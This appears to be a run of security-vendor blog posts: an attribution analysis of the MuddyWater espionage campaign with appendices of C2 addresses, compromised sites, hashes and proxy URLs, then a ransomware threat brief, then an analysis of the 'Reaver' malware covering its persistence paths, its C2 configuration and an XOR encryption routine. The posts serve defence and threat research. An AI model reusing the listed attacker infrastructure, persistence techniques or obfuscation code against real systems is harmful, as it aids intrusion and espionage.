Nov 2017	The NSA Telenor.doc	Unknown Pakistan
Oct 2017	Circulars.doc dollar.doc Pakistan Federal Investigation Agency CV of Middle Eastern Civil Servant	Turkey Pakistan
Sep 2017	Iraq National Intelligence Service Kaspersky Security solution 2017.doc	Iraq
Aug 2017	Arab Emirate سری.docm Iraq Commission of Integrity	Arab Emirates
Jul 2017	Requirements of the Sago.doc CommIT-Document.doc Confidential letters.doc	Saudi Arabia Arab Emirates Pakistan
Jun 2017	Iraq Kurdistan Regional Government RFP_VOIP.doc	Iraq
May 2017	RFP.doc Requirement.doc Iraq Kurdistan Regional Government	Georgia Iraq
Mar 2017	court.doc	Georgia
Feb 2017	CERT-Audit-20172802-GEO.xls	Georgia

Table 1 – Examples of the lure documents observed in the MuddyWater attacks.

All of these documents we observed and outlined above are related via:

Shared C2 infrastructure.
Use of the non-public PowerShell backdoor previously described by Morphisec and MalwareBytes (which we refer to as POWERSTATS).
Shared attributes of the malicious documents used in attacks.
Shared attributes as to how the documents were delivered.

Based on these connections we can be confident that all the files and infrastructure we give in our appendices are related, since more than one of these can be used to link each of the samples discussed in each case.

I download my tools from GitHub, and so do my victims.
The tools used by the MuddyWater attackers have been well documented by the previously cited research and a common theme of previous reporting was the open source nature of much of the toolset used by MuddyWater: Meterpreter, Mimikatz, Lazagne, Invoke-Obfuscation etc.. In some of their recent attack documents, the attackers also used GitHub as a hosting site for their custom backdoor, POWERSTATS. Specifically, the following GitHub repositories appear to be controlled by the MuddyWater threat actor(s):

[unknown SHA256]
- Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/ArabicBrowserFont.exe
[unknown SHA256]
- Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/FontArabic.exe

9b5e36bb7518a9e333c31d09b589102f89e3425571dd434820ab3c437dc4e0d9 (and several others)
- Downloads payload from: hxxps://raw.githubusercontent[.]com/ReactDeveloper2017/react/master/src/test/test.js

Interestingly, both profiles were populated with forked repositories to give them an air of legitimacy as shown in figure 2. The POWERSTATS malware was compiled as an exe using PS2EXE. However, this was a minor anomaly, as it was only seen in this case: raw scripts being used in all other cases.

Figure 2 – The GitHub profile for F0R3X containing both legitimate forked code and the binaries created by the attacker. Note that the username could be a small joke on the attackers’ part regarding the attribution to FIN7.

Pwn one to pwn them all
In some of the instances we observed what appeared to be compromised accounts at third party organizations sending the malware. In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient. This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to send it.

This targeting of third party organizations to attack further targets is a risky move on the attackers’ part, as it potentially reveals their activity within the compromised third party organizations to the new target (those receiving the malicious documents

Making sense of MuddyWater
When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East, we were somewhat confused as the previous public reporting had attributed these attacks to FIN7. FIN7 is a threat actor group that is financially motivated with targets in the restaurant, services and financial sectors. Following the trail of existing public reporting, the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2, of a non-public tool “DNSMessenger”.
For example, Morphisec wrote:
“Later in our investigation, the same command server also delivered a variant of the DNS messenger similar to that described by Talos. The domain names differed but the script adheres to the same logic (including the logic function).”
The DNSMessenger malware is an obfuscated and customized version of the popular DNS_TXT_PWNAGE.ps1 script available on GitHub and is also referred to by FireEye as POWERSOURCE. The use of the DNSMessenger tool appears primarily linked to FIN7, with no other samples being attributable to MuddyWater.
This led us to query the relationship between the newer attacks we were looking at and the alleged FIN7 link. As part of this research, we came up with the following hypotheses along with their likelihoods, and a rationale for each one.
1) The FIN7 threat actor is also involved in espionage in the Middle East - Unlikely
Whilst this may seem an attractive hypothesis to some, there are aspects on the technical side that simply don’t add up. Primarily, there are significant disparities between FIN7 and MuddyWater, specifically in terms of:

Malware unique to FIN7, or commonly used by them has not yet been seen in any MuddyWater investigations (except for the single observation of the DNSMessenger sample)
Other non-public malware and tools used by MuddyWater have not been observed in our FIN7 investigations.
From an infrastructure point of view there is no overlap between the two sets of activity, the only overlap is the use of the unique tool “DNSMessenger”

When these points are considered together in conjunction with the significant difference in targeting they make a strong case for classifying this activity as distinct from FIN7 activity.
2) The DNSMessenger malware is a shared tool, used by FIN7, MuddyWater and perhaps other groups - Unlikely
We have attempted to find examples of code available in public data sources that would generate the variation of the DNSMessenger malware and had little luck in doing so. Even though the code for DNSMessenger is publicly available following research into attackers published by 3^rd parties, attackers would have to write the corresponding server side to use it, and as such they may well choose to use the public DNS_TXT_Pwnage.ps1 script instead.
Despite this, based on the chain of analysis above we cannot discount the notion that DNSMessenger is shared by multiple attackers, including FIN7 and MuddyWater.
3) There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 - Possible
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn’t possible for us to verify this link.
4) The attackers realized they were under investigation and planted a false flag - Possible
The attackers realized they were under investigation and planted a false flag on their C2 server, uploading a copy of the FIN7 DNSMessenger code which had been previously mentioned (and was since publicly available) by FireEye and delivering it to researchers to trick them into mis-attributing the campaign.
Indeed, the sample shared by Morphisec on PasteBin is identical to the one dropped by the sample discussed in the FireEye FIN7 SEC campaign blog except for the final line.

Final thoughts
Whilst we could conclude with confidence that the attacks discussed in this article are not FIN7 related, we were not able to answer many of our questions about the MuddyWater attacks. We are currently unable to make a firm conclusion about the origin of the attackers, or the specific types of information they seek out once on a network. In any case we will continue to track their activities to provide protections for our customers.
We hope the analysis presented shows the importance of drawing your own conclusions based on the data available to you, not just taking the conclusions given in the public domain at face value. This is especially true when actors who rely on slightly modified (and publicly available) open source tools are in play. Copycat threat actors can easily mimic attackers who use open source tools which can confuse attribution efforts meaning more than one aspect of the attacks observed must be considered when clustering.
On top of this, whilst the vast majority of threat analysis in the public domain is repeatable and correct, in some cases it can be difficult to verify the analysis available. When it is hard to reproduce the analysis the confidence in any conclusions drawn must be lower than it would otherwise be, since you cannot know for sure that what is stated is true.
Palo Alto Networks customers are protected from this threat in the following ways:

WildFire and Traps detect all the malware supported in this report as malicious.
Traps customers can deploy Heuristic methods to detect attacks that use these techniques.
C2 domains used by the attackers are blocked via Threat Prevention.

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tags:

Appendix A – C2 Addresses

148.251.204[.]131
144.76.109[.]88
138.201.75[.]227

Compromised Legitimate Sites
106[.]187[.]38[.]21
arbiogaz[.]com
azmwn[.]suliparwarda[.]com
bangortalk[.]org[.]uk
best2[.]thebestconference[.]org
camco[.]com[.]pk
cbpexbrasilia[.]com[.]br
cgss[.]com[.]pk
diplomat[.]com[.]sa
feribschat[.]eu
ghanaconsulate[.]com[.]pk
magical-energy[.]com
mainandstrand[.]com
riyadhfoods[.]com
school[.]suliparwarda[.]com
suliparwarda[.]com
tmclub[.]eu
watyanagr[.]nfe[.]go[.]th
whiver[.]in
www[.]4seasonrentacar[.]com
www[.]akhtaredanesh[.]com
www[.]arcadecreative[.]com
www[.]armaholic[.]com
www[.]asan-max[.]com
www[.]autotrans[.]hr
www[.]dafc[.]co[.]uk
www[.]eapa[.]org
www[.]elev8tor[.]com
www[.]jdarchs[.]com
www[.]kunkrooann[.]com
www[.]mackellarscreenworks[.]com
www[.]mitegen[.]com
www[.]nigelwhitfield[.]com
www[.]pomegranates[.]org
www[.]ridefox[.]com
www[.]shapingtomorrowsworld[.]org
www[.]vanessajackson[.]co[.]uk
www[.]yaran[.]co
www[.]ztm[.]waw[.]pl
coa[.]inducks[.]org
mhtevents[.]com
skepticalscience[.]com
wallpapercase[.]com
www[.]spearhead-training[.]com

Appendix B – Related files

sha256	Overall Description
d2a0eec18d755d456a34865ff2ffc14e3969ea77f7235ef5dfc3928972d7960f	Loader script from 144.76.109[.]88
1421a5cd0566f4a69e7ca9cdefa380507144d7ed59cd22e53bfd25263c201a6f	MuddyWater Macro
4e3c7defd6f3061b0303e687a4b5b3cc2a4ae84cdc48706c65a7b1e53402efc0	MuddyWater Macro
8b96804d861ea690fcb61224ec27b84476cf3117222cca05e6eba955d9395deb	Lazagne
16985600c959f6267476da614243a585b1b222213ec938351ef6a26560c992db	PS2EXE PowerStats (GitHub)
cf87a2ac51503d645e827913dd69f3d80b66a58195e5a0044af23ea6ba46b823	PS2EXE PowerStats (GitHub)
3030d80cfe1ee6986657a2d9b76b626ea05e2c289dee05bd7b9553b10d14e4a1	Decoded PowerStats payload
99077dcb37395603db0f99823a190f50313dc4e9819462c7da29c4bc983f42fd	Lazagne Runner Script
1b60b7f9b0faf25288f1057b154413921a6cb373dcee43e831b9263c5b3077ce	MuddyWater Macro
2c8d18f03b6624fa38cae0141b91932ba9dc1221ec5cf7f841a2f7e31685e6a1	MuddyWater Macro
367021beedb3ad415c69c9a0e657dc3ed82b1b24a41a71537d889f5e2b7ca433	MuddyWater Macro
58282917a024ac252966650361ac4cbbbed48a0df7cab7b9a6329d4a04551c0d	MuddyWater Macro
58898648a68f0639c06bedc8242ca48bc6ec56f11ed40d00aa5fdda4e5553482	MuddyWater Macro
81523e0199ae1dc9e87d2b952642785bfbda6326f22e4c0794a19afdf001a9a3	MuddyWater Macro
90b66b3fef77962fbfda364a4f8799bfcc9ab73772026d7a8922a7cf5556a024	MuddyWater Macro
96101de2386e35bc5e38d32524a02c6c5ca7cc6624e656a629b2e0f1693a76fd	MuddyWater Macro
964aaf5d9b1c749df0a2df1f1b4193e5a643893f251e2d74b47663f895da9b13	MuddyWater Macro
97f9a83bc6bb1b3f5cb7ac9401f95265597bff796bb4901631d6fa2c79a48bdc	MuddyWater Macro
a3c1fd46177a078c4b95c744a24103df7d0a58cee1a3be92bc4cdd7dec1b1aa5	MuddyWater Macro
fcfbdffbcad731e0a5aad349215c87ed919865d66c287a6723fd8e2f896c5834	MuddyWater Macro
2bb1637c80f0a7df7260a8583beb033f4afbdd5c321ff5642bc8e1868194e009	MuddyWater Macro
58aec38e98aba66f9f01ca53442d160a2da7b137efbc940672982a4d8415a186	MuddyWater Macro
605fefc7829cfa41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4	MuddyWater Macro
e8a832b04dbdc413b71076754c3a0bf07cb7b9b61927248c482ddca32e1dab89	MuddyWater Macro
5d049bd7f478ea5d978b3c78f7f0afdf294a94f526fc20ffd6e33022d40d15ae	MuddyWater Macro
12a7898fe5c75e0b57519f1e7019b5d09f5c5cbe49c48ab91daf6fcc09ee8a30	MuddyWater Macro
2602e817a67949860733b3548b37792616d52ffd305405ccab0409bcfedc5d63	MuddyWater Macro
42a4d9527063f73004b049a093a34a4fc3b6ea9505cb9b50b895486cb2dca94b	MuddyWater Macro
5ed5fc6c6918ff6fa4eab7742c03d59155ca87e0fe12bac339f18928e2924a96	MuddyWater Macro
a2ad6bfc47c4f69a2170cc1a9fd620a68b1ebb474b7bdf601066e780e592222f	MuddyWater Macro
c23ece07fc5432ca200f3de3e4c4b68430c6a22199d7fab11916a8c404fb63dc	MuddyWater Macro
cb96cd26f36a3b1aacabfc79bbb5c1e0c9850b1c75c30aa498ad2d4131b02b98	MuddyWater Macro
ed2f9c9d5554d5248a7ad9ad1017af5f1bbadbd2275689a8b019a04c516eeec2	MuddyWater Macro
fe16543109f640ddbf3725e4d9f593de9f13ee9ae96c5e41e9cdccb7ab35b661	MuddyWater Macro
886e3a2f74bf8f46b23c78a6bad80c74fe33579f6fe866bc5075b034c4d5d432	MuddyWater Macro
8ec108b8f66567a8d84975728b2d5e6a2786c2ca368310cca55acad02bb00fa6	MuddyWater Macro
96d80ae577e9b899772a940b4941da39cf7399b5c852048f0d06926eb6c9868a	MuddyWater Macro
bb1a5fb87d34c63ade0ed8a8b95412ba3795fd648a97836cb5117aff8ea08423	MuddyWater Macro
d65e2086aeab56a36896a56589e47773e9252747338c6b59c458155287363f28	MuddyWater Macro
588cd0fe3ae6fbd2fa4cf8de8db8ae2069ea62c9eaa6854caedf45045780661f	MuddyWater Macro
917a6c816684f22934e2998f43633179e14dcc2e609c6931dd2fc36098c48028	MuddyWater Macro
db7bdd6c3ff7a27bd4aa9acc17dc35c38b527fb736a17d0927a0b3d7e94acb42	MuddyWater Macro
de6ce9b75f4523a5b235f90fa00027be5920c97a972ad6cb2311953446c81e1d	MuddyWater Macro
a6673c6d52dd5361afd96f8143b88810812daa97004f69661da625aaaba9363b	MuddyWater Macro
40a6b4c6746e37d0c5ecb801e7656c9941f4839f94d8f4cd61eaf2b812feaabe	MuddyWater Macro

Appendix C – Proxy URLs found from POWERSTATS samples from October 2017 onwards
hxxp://106[.]187[.]38[.]21/short_qr/work[.]php?c=
hxxp://arbiogaz[.]com/upload/work[.]php?c=
hxxp://azmwn[.]suliparwarda[.]com/wp-content/plugins/wpdatatables/panda[.]php?c=
hxxp://azmwn[.]suliparwarda[.]com/wp-content/themes/twentyfifteen/logs[.]php?c=
hxxp://bangortalk[.]org[.]uk/speakers[.]php?c=
hxxp://best2[.]thebestconference[.]org/ccb/browse_cat[.]php?c=
hxxp://camco[.]com[.]pk/Controls/data[.]aspx?c=
hxxp://cbpexbrasilia[.]com[.]br/wp-content/plugins/wordpress-seo/power[.]php?c=
hxxp://cbpexbrasilia[.]com[.]br/wp-includes/widgets/work[.]php?c=
hxxp://cgss[.]com[.]pk/data[.]aspx?c=
hxxp://diplomat[.]com[.]sa/wp-content/plugins/wordpress-importer/cache[.]php?c=
hxxp://feribschat[.]eu/logs[.]php?c=
hxxp://ghanaconsulate[.]com[.]pk/data[.]aspx?c=
hxxp://magical-energy[.]com/css[.]aspx?c=
hxxp://magical-energy[.]com/css/css[.]aspx?c=
hxxp://mainandstrand[.]com/work[.]php?c=
hxxp://riyadhfoods[.]com/css/edu[.]aspx?c=
hxxp://riyadhfoods[.]com/jquery-ui/js/jquery[.]aspx?c=
hxxp://school[.]suliparwarda[.]com/components/com_akeeba/work[.]php?c=
hxxp://school[.]suliparwarda[.]com/plugins/editors/codemirror/work[.]php?c=
hxxp://suliparwarda[.]com/includes/panda[.]php?c=
hxxp://suliparwarda[.]com/layouts/joomla/logs[.]php?c=
hxxp://suliparwarda[.]com/wp-content/plugins/entry-views/work[.]php?c=
hxxp://suliparwarda[.]com/wp-content/themes/twentyfifteen/work[.]php?c=
hxxp://tmclub[.]eu/clubdata[.]php?c=
hxxp://watyanagr[.]nfe[.]go[.]th/e-office/lib/work[.]php?c=
hxxp://watyanagr[.]nfe[.]go[.]th/watyanagr/power[.]php?c=
hxxp://whiver[.]in/power[.]php?c=
hxxp://www[.]4seasonrentacar[.]com/viewsure/data[.]aspx?c=
hxxp://www[.]akhtaredanesh[.]com/d/file/sym/work[.]php?c=
hxxp://www[.]akhtaredanesh[.]com/d/oschool/power[.]php?c=
hxxp://www[.]arcadecreative[.]com/work[.]php?c=
hxxp://www[.]armaholic[.]com/list[.]php?c=
hxxp://www[.]asan-max[.]com/files/articles/css[.]aspx?c=
hxxp://www[.]asan-max[.]com/files/articles/large/css[.]aspx?c=
hxxp://www[.]autotrans[.]hr/index[.]php?c=
hxxp://www[.]dafc[.]co[.]uk/news[.]php?c=
hxxp://www[.]eapa[.]org/asphalt[.]php?c=
hxxp://www[.]elev8tor[.]com/show-work[.]php?c=
hxxp://www[.]jdarchs[.]com/work[.]php?c=
hxxp://www[.]kunkrooann[.]com/inc/work[.]php?c=
hxxp://www[.]mackellarscreenworks[.]com/work[.]php?c=
hxxp://www[.]mitegen[.]com/mic_catalog[.]php?c=
hxxp://www[.]nigelwhitfield[.]com/v2/work[.]php?c=
hxxp://www[.]pomegranates[.]org/index[.]php?c=
hxxp://www[.]ridefox[.]com/content[.]php?c=
hxxp://www[.]shapingtomorrowsworld[.]org/category[.]php?c=
hxxp://www[.]vanessajackson[.]co[.]uk/work[.]php?c=
hxxp://www[.]yaran[.]co//wp-content/plugins/so-masonry/logs[.]php?c=
hxxp://www[.]yaran[.]co/wp-includes/widgets/logs[.]php?c=
hxxp://www[.]ztm[.]waw[.]pl/pop[.]php?c=
hxxps://coa[.]inducks[.]org/publication[.]php?c=
hxxps://mhtevents[.]com/account[.]php?c=
hxxps://skepticalscience[.]com/graphics[.]php?c=
hxxps://wallpapercase[.]com/wp-content/themes/twentyfifteen/logs[.]php?c=
hxxps://wallpapercase[.]com/wp-includes/customize/logs[.]php?c=
hxxps://www[.]spearhead-training[.]com//html/power[.]php?c=
hxxps://www[.]spearhead-training[.]com/work[.]php?c=

Threat Brief: Why Ransomware Hurts So Much and Is So Hard to Stop

Posted on November 13, 2017January 28, 2022 by Unit 42

In our updated report on ransomware from Unit 42, “Ransomware: Unlocking the Lucrative Criminal Business Model,” Unit 42 researcher Bryan Lee notes: “In 2016, it was thought that there were less than one hundred active ransomware variants out in the wild. Today, the number of total ransomware variants at least over 150, if not hundreds more.”

It’s reasonable to ask why ransomware continues not only to exist but to thrive. The first answer to this, as we’ve outlined in our report, is that ransomware is a lucrative cybercriminal business model. However, in addition to the human factor, there are technical reasons. Specifically, there are three things that combine to make ransomware a particularly potent threat on the technical level:

Ransomware very effectively exploits the total trust the Microsoft Windows operating system places in the user.
Ransomware specifically targets file types and locations that are valuable to users..
Ransomware operates quickly, thwarting post-compromise tools for response

In some ways, these three points state the obvious. But the full ramifications and why these make ransomware hard to stop aren’t always discussed.

The way ransomware works is well documented, but let’s recap here. Ransomware is downloaded to a user’s system and executed on it. The way the attackers get the ransomware on the system varies: it can be through unpatched vulnerabilities, social engineering or both. The most common way ransomware operators levy attacks is through email or by web browsing to malicious or compromised sites. The overwhelming majority of ransomware attacks are against Microsoft Windows systems. Once malware is running on the user’s system, it seeks out and encrypts files and folders that hold information critical for the user, such as documents, business applications or even database files. In some cases, the ransomware is sophisticated enough to target specific application files. Most importantly, because the ransomware is executing with the compromised user’s privileges, any file the legitimate, now-compromised user has access to, including network shares and backups, is fair game for the ransomware.

It’s this last point that gets to the heart of why ransomware is so potent. From an operating system point of view, the ransomware IS the user. Even though Microsoft Windows today features a robust user access control system, that system has inherent limitations. In the early days of Window Vista, Microsoft enabled aggressive security checking to ensure user-initiated actions were legitimate. This was well-intentioned but ultimately backfired: users got fed up clicking “Are you sure?” dialog boxes and quickly disabled the feature, or just mindlessly clicked “OK” every time they saw it. Microsoft made reasonable adjustments so that these alerts are now raised sparingly. Although that feature was never enabled to protect user data files like ransomware targets, there is a clear lesson from the experience: too many security checks on user activity fails in the end.

Bringing that lesson to bear here, the only way the operating system could protect against ransomware would be to raise “Are you sure?” dialog boxes on everyday operations against the kinds of files that ransomware targets. And this is where the second point comes to bear.

Unlike other forms of malware, ransomware is very specific in its targeting. It goes after the files users are most likely to care about. These also happen to be files users are most likely to use on a day-to-day basis or that are critical to an organization’s operations. Extra layers of protection for those files would be incredibly onerous. Imagine having to click through “Are you sure?” dialog boxes for every document or picture you opened in a day.

From an engineering point of view, this sole, specific targeting of files that matter significantly increases the chances of ransomware’s success. This brings us to the third point: there is little attack time wasted on files that don’t matter to the victim. Even a successful ransomware attack that is halted early by security software will achieve some level of damage – enough to make the victim consider paying the ransom to get the files back. If user32.dll were encrypted and unusable, it would be a problem. But when your organization’s overall accounting and audit report is inaccessible right before the big deadline, that’s catastrophic.

The net of these three points is that ransomware is a threat such that focus needs to be placed solely around prevention. There is no effective solution for ransomware at the operating system level, as outlined above. And unlike other attacks, ransomware attacks can’t succeed “just a little.” In some cases, a single file lost is more than enough to count as a fully successful attack.

In some ways, ransomware is a threat unlike any other. Its impact and scope are both broad and deep in ways that are unique. Because of that, from a risk assessment point of view, ransomware needs to be put in a class by itself – a class that acknowledges that the risks from a successful attack of any kind are very high.

New Malware with Ties to SunOrcal Discovered

Posted on November 10, 2017November 1, 2018 by Josh Grunzweig

Summary
Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.
While we don’t have information on the intended targets in this case, previous reports on this activity have identified targeting primarily among the “Five Poisons” which are movements the Chinese government perceives as dangerous. They are:

Uyghurs, particularly those supporting East Turkestan independence
Tibetans, particularly those supportive of Tibetan independence
Falun Gong practitioners
Supporters of Taiwan independence
Supporters of Chinese democracy

The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting. We explore those ties and provide an in-depth analysis of the new malware below.

Reaver Malware Analysis
To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named “Reaver”. As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3.
Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication.
The flow for Reaver is as shown:

Figure 1 Reaver execution flow diagram

Reaver.v1
The earliest variant of Reaver begins by attempting to enable the SeDebugPrivilege privilege for the running process. In the event this is successful the malware will use the following path to store any dropped files:

%COMMONPROGRAMFILES%\services\

In the event it is not successful, this alternative path will be used instead:

%APPDATA%\microsoft\mmc\

It proceeds to load and decrypt and embedded bitmap resource file. This decrypted data is written to the following location:

%TEMP%\WUpdate.~tmp

This ‘WUpdate.~tmp’ file is then copied to a filename of ‘Applet.cpl’, which is placed in the previously identified file path.
The malware proceeds to identify the file path of either the common startup folder, or the user’s startup folder depending on if the SeDebugPrivilege privilege was obtained. In the event this privilege was obtained, the common startup folder is queried by reading the following registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Startup

Alternatively, if the privilege was unable to be obtained, Reaver.v2 will obtain the user’s startup folder by querying the following registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup

Reaver proceeds to write a shortcut file to ‘%TEMP%\~WUpdate.lnk’. This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘Applet.cpl’ file. Finally, Reaver.v1 will execute the ‘~WUpdate.lnk’ file in a new process, thus loading the recently dropped malicious CPL file.

Reaver.v2
Reaver.v2 begins by attempting to enable the SeDebugPrivilege privilege for the running process. In the event this is successful, the malware will use the following path to store any dropped files:

%COMMONPROGRAMFILES%\services\

In the event it is not successful, this alternative path will be used instead:

%APPDATA%\microsoft\mmc\

Reaver.v2 proceeds to decrypt an embedded file using a simple XOR obfuscation routine. This file is written to the following file path:

% TEMP%\Update.~tmp

After the file is written, it is then copied to a filename of ’winhelp.cpl’ in the directory that was initially chosen. After this file is copied, the original ‘Update.~tmp’ file is deleted. At this stage the malware will identify the correct startup path using the same technique witnessed in earlier variants.
A shortcut file is generated in the following path:

%TEMP%\~Update.lnk

This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified. This shortcut file points to the path of the previously written ‘winhelp.cpl’ file. It will specifically load this CPL file via a call to the built-in Microsoft Windows ‘control.exe’ utility. Finally, Reaver.v2 will execute the ‘~Update.lnk’ file in a new process, thus loading the recently dropped malicious CPL file.

Reaver.v3
Like Reaver.v2, Reaver.v3 begins by attempting to enable the SeDebugPrivilege privilege for the running process. In the event this is successful, the malware will use the following path to store any dropped files:

%COMMONPROGRAMFILES%\services\

In the event it is not successful, this alternative path will be used instead:

%APPDATA%\microsoft\credentials\

Reaver.v3 proceeds to write an embedded Microsoft Cabinet (CAB) file to the following location:

%TEMP%\winhelp.dat

This cabinet file is then extracted to the previously identified file path. The contents of this cabinet file consist of a Microsoft Control Panel item with a filename of ‘winhelp.cpl’.
Much like the previous version of Reaver, Reaver.v3 will query the necessary registry keys to determine the correct startup path to use. Again, a shortcut file is written to the %TEMP% path with a name of ‘~Update.lnk’, which is in turn copied to the identified startup path with a filename of ‘Windows help.lnk’. This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’.
Finally, the malware calls the ‘winhelp.cpl’ file in a new process via the following command:

control [path_previously_identified]\winhelp.cpl

Reaver HTTP Payload
The malicious CPL payload of Reaver has the following two exported functions:

CPlApplet
DllEntryPoint

When the CPlApplet function is loaded, Reaver will initially determine if the SeDebugPrivilege privilege is able to be obtained. The malware proceeds to decrypt and embedded configuration of 128 bytes using a simple XOR routine. The following example decrypted configuration is as follows:

00000000: 77 77 77 2E 74 61 73 68  64 71 64 78 70 2E 63 6F  www.tashdqdxp.co
00000010: 6D 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  m...............
00000020: 38 30 00 00 00 00 00 00  00 00 00 00 00 00 00 00  80..............
00000030: 33 30 00 00 00 00 00 00  00 00 00 00 00 00 00 00  30..............
00000040: 57 69 6E 64 6F 77 73 20  55 70 64 61 74 65 00 00  Windows Update..
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 41 70 70 6C 65 74 00 00  00 00 00 00 00 00 00 00  Applet..........
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

00000000: 77 77 77 2E 74 61 73 68 64 71 64 78 70 2E 63 6F www.tashdqdxp.co

00000010: 6D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 m...............

00000020: 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80..............

00000030: 33 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30..............

00000040: 57 69 6E 64 6F 77 73 20 55 70 64 61 74 65 00 00 Windows Update..

00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00000060: 41 70 70 6C 65 74 00 00 00 00 00 00 00 00 00 00 Applet..........

00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

As we can see, the following information is present within this configuration:

Remote Command and Control (C2) server
Remote port
Sleep timer

Reaver continues to collect various information from the victim machine, including the following:

CPU speed
Computer name
Username
IP Address
Microsoft Windows version
Physical and virtual memory information

The malware proceeds to communicate with the remote server via HTTP GET and POST requests. Data that is sent is compressed and then base64-encoded before being included in the requests.
We have observed the following capabilities of this payload:

Get drive information
Read files
Write files
Delete files
Move files
Spawn processes
Create directories

Reaver TCP Payload
The malicious CPL payload of Reaver has the following three exported functions:

ServiceMain
CPlApplet
DllEntryPoint

When the malware is initially loaded, DllEntryPoint will be called, which in turn will call a function that is responsible for decompressing a blob of data. The decompressed data consists of various key/value pairings that represent important strings used by Reaver. An example of this decompressed data can be seen below:

RA@10001=ole32.dll
RA@10002=CoCreateGuid
RA@10003=Shlwapi.dll
RA@10004=SHDeleteKeyA
RA@10005=wininet.dll
RA@10006=InternetOpenA
[TRUNCATED]
RA@10288=%s\%s
RA@10289=CMD.EXE
RA@10290=%s=
RA@10311=\%sctr.dll
RA@10312=\uc.dat
RA@10313=ChangeServiceConfig2A
RA@10314=QueryServiceConfig2A

RA@10001=ole32.dll

RA@10002=CoCreateGuid

RA@10003=Shlwapi.dll

RA@10004=SHDeleteKeyA

RA@10005=wininet.dll

RA@10006=InternetOpenA

[TRUNCATED]

RA@10288=%s\%s

RA@10289=CMD.EXE

RA@10290=%s=

RA@10311=\%sctr.dll

RA@10312=\uc.dat

RA@10313=ChangeServiceConfig2A

RA@10314=QueryServiceConfig2A

When the malware wishes to retrieve one of these decoded strings, it will simply call a function with an integer argument that is responsible for providing it. For example, calling this function with an argument of ‘10001’ would retrieve a string of ‘ole32.dll’.
The DllEntryPoint function proceeds to attempt to obtain the SeDebugPrivilege privilege, and also calls WSAStartup for future network activity.
When the CPlApplet function is loaded, it will begin by decompressing an embedded configuration using the same compression algorithm used previously. An example of this decompressed configuration may be seen below:

Figure 2 Decompressed Reaver configuration

This configuration contains multiple pieces of information, including the following:

Network port
Sleep timer between network requests
Remote Command and Control (C2)
Service Name
Service Description
Service Display Name
Hardcoded String. This may be either a campaign identifier, or perhaps a malware versioning string.

The malware proceeds to check to see if the original dropped malware file exists. In the event it does, Reaver will move this file to ‘%TEMP%\~FJIOW.tmp’ and delete this new file. This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine. Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges. The service is configured with a name, description, and display name that is provided within the configuration.
Reaver continues to collect various information from the victim machine, including the following:

Computer name
Volume serial number
Microsoft Windows version
CPU speed
ANSI code page
OEM code page identifier for the operating system
Physical and virtual memory information

Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified. The following example Python code shows how this encryption takes place:

c = 0
out = ""
for d in data:
  out += chr((ord(d) ^ ((c % 256) + 92)) & 0xFF)
  c += 1

c = 0

out = ""

for d in data:

out += chr((ord(d) ^ ((c % 256) + 92)) & 0xFF)

c += 1

After this data is exfiltrated, the malware expects 8 bytes of data that contains two DWORDs. These DWORDs contain both a major command and a sub-command.
The following capabilities have been observed in this payload:

Get drive information
Modify files
Modify directories
Modify registry
Spawn process
Terminate process
Modify services
Kill self

Ties to SunOrcal
Reaver was used concurrently with SunOrcal over the past year, to include two Reaver samples dropped from zip files hosted on a domain also being used as a SunOrcal C2 (www.fyoutside[.]com), and there is also passive DNS overlap amongst the C2s. Specifically, Reaver to date has used www.tashdqdxp[.]com for C2, which overlaps with www.weryhstui[.]com, another C2 used by SunOrcal samples during the same timeframe. Both domains have resolved to 98.126.156[.]210. Several of those same SunOrcal samples were also using www.fyoutside[.]com as an additional C2. This led to further C2 ties within SunOrcal samples, to include samples beaconing to www.olinaodi[.]com; all of this is shown below in Figure 3. The latter has been previously reported in activity targeting Hong Kong democracy activists and that activity is in turn tied to a report targeting Tibetan, Hong Kong, and Taiwanese activists, and another blog about targeting Taiwanese activists.

